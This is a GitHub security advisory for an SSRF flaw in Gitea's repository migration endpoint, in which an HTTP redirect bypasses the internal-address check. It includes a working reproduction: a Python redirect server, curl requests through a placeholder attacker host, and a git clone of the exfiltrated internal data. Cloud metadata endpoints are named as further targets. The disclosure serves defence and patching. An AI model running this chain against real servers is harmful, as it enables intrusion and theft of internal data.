Skip to content

Gitea: SSRF via HTTP Redirect in Repository Migration

Moderate severity GitHub Reviewed Published Jul 1, 2026 in go-gitea/gitea • Updated Jul 21, 2026

Package

gomod code.gitea.io/gitea (Go)

Affected versions

< 1.26.3

Patched versions

1.26.4

Description

Summary

Gitea 1.25.4 validates the initial URL provided to the repository migration endpoint (POST /api/v1/repos/migrate) and correctly blocks requests to internal addresses like 127.0.0.1 or RFC1918 ranges. However, if the initial URL points to an attacker-controlled server that responds with an HTTP 302 redirect to an internal address, Gitea follows the redirect without performing a second validation. This allows a low-privilege user to reach internal services through Gitea as a proxy.

Affected Version

Gitea 1.25.4 (latest stable at time of writing), default configuration.

Prerequisites

  1. A regular Gitea user account (no admin privileges required)
  2. An attacker-controlled server reachable from the internet that serves HTTP 302 redirects

Reproduction

Environment

Role Location Network
Attacker Any machine with internet access External network (VLAN A)
Gitea Server Windows 11 VM, Gitea 1.25.4, default config, SQLite Internal network (VLAN B)
Internal service Same VM, bound to 127.0.0.1:18082 Localhost only
Redirect server Attacker-controlled public server, port 18080 Internet

The attacker can reach Gitea on port 3000 but cannot reach port 18082 on the VM. This was verified by attempting a direct connection, which was refused.

Step 1: Create an attacker account on Gitea

Register a normal user account on the Gitea instance (or use any existing non-admin account). Then generate an API token under Settings > Applications with the repo: write scope. The migration endpoint requires this because it creates a new repository. This token is referenced as <USER_TOKEN> in the steps below.

Step 2: Set up an internal service on the Gitea host

On the Gitea VM, create a bare Git repository that simulates an internal service:

mkdir C:\internal-repo
cd C:\internal-repo
git init
echo CONFIDENTIAL_DATA_2025 > secret.txt
git add .
git commit -m "internal confidential"
git clone --bare . C:\internal.git
cd C:\internal.git
git update-server-info
python -m http.server 18082 --bind 127.0.0.1

This serves a Git repository on localhost port 18082. It is not reachable from outside the machine.

Step 3: Confirm Gitea blocks direct access to internal addresses

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://127.0.0.1:18082/",
    "repo_name": "direct-test",
    "service": "git"
  }'

Response:

{"message":"You can not import from disallowed hosts."}

This confirms that Gitea correctly blocks migration from internal addresses when provided directly.

Step 4: Set up a redirect server

On an attacker-controlled public server, run a script that redirects all requests to the internal service:

from http.server import BaseHTTPRequestHandler, HTTPServer

class RedirectHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        path = self.path
        if path.startswith("/repo.git"):
            path = path[len("/repo.git"):]
        target = f"http://127.0.0.1:18082{path}"
        self.send_response(302)
        self.send_header("Location", target)
        self.end_headers()
        print(f"[+] Redirected {self.path} -> {target}")

    do_HEAD = do_GET

HTTPServer(("0.0.0.0", 18080), RedirectHandler).serve_forever()

Step 5: Exploit the redirect bypass

From the attacker machine:

curl -X POST http://<GITEA_SERVER>:3000/api/v1/repos/migrate \
  -H "Authorization: token <USER_TOKEN>" \
  -H "Content-Type: application/json" \
  -d '{
    "clone_addr": "http://<ATTACKER_SERVER>:18080/repo.git",
    "repo_name": "exfil-test",
    "service": "git",
    "private": true
  }'

Response: HTTP 201 Created. The migration succeeds.

Step 6: Retrieve the exfiltrated data

From the attacker machine:

git clone http://attacker:password@<GITEA_SERVER>:3000/attacker/exfil-test.git
cat exfil-test/secret.txt

Output:

CONFIDENTIAL_DATA_2025

The attacker now has the contents of the internal repository that was only accessible on localhost.

What happens during the attack

  1. The attacker sends a migration request pointing to their public server.
  2. Gitea validates the URL. The destination is a public IP, so it passes the check.
  3. Gitea contacts the attacker's server to clone the repository.
  4. The attacker's server responds with 302 Location: http://127.0.0.1:18082/...
  5. Gitea follows the redirect to 127.0.0.1 without validating the new destination.
  6. The internal service responds and Gitea stores the result as a new repository owned by the attacker.
  7. The attacker clones their newly created repository and reads the internal data.

Impact

Any authenticated user with permission to create repositories can use the migration feature to reach services that are only accessible from the Gitea server itself or its local network. Depending on the environment this could include:

  1. Internal Git repositories or other version control systems not exposed to the internet
  2. Cloud metadata endpoints (169.254.169.254) which serve temporary credentials on AWS, GCP, and Azure
  3. Internal APIs, CI/CD systems, databases, or admin panels bound to localhost or private networks
  4. Other services within the same network segment that trust connections from the Gitea server

The full content of internal Git repositories can be exfiltrated as demonstrated above. For non-Git services, the request still reaches the target (blind SSRF), which may be enough to trigger actions or leak information through error messages.

Suggested Fix

Validate the destination of HTTP redirects against the same blocklist that is applied to the initial URL. If a redirect points to a blocked address (loopback, link-local, RFC1918), the request should be aborted before following the redirect.

References

@lunny lunny published to go-gitea/gitea Jul 1, 2026
Published by the National Vulnerability Database Jul 3, 2026
Published to the GitHub Advisory Database Jul 21, 2026
Reviewed Jul 21, 2026
Last updated Jul 21, 2026

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
None
Availability
None

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

EPSS score

Exploit Prediction Scoring System (EPSS)

This score estimates the probability of this vulnerability being exploited within the next 30 days. Data provided by FIRST.
(16th percentile)

Weaknesses

Server-Side Request Forgery (SSRF)

The web server receives a URL or similar request from an upstream component and retrieves the contents of this URL, but it does not sufficiently ensure that the request is being sent to the expected destination. Learn more on MITRE.

CVE ID

CVE-2026-58418

GHSA ID

GHSA-rqhx-647v-wx32

Source code

Credits

Loading Checking history
See something to contribute? Suggest improvements for this vulnerability.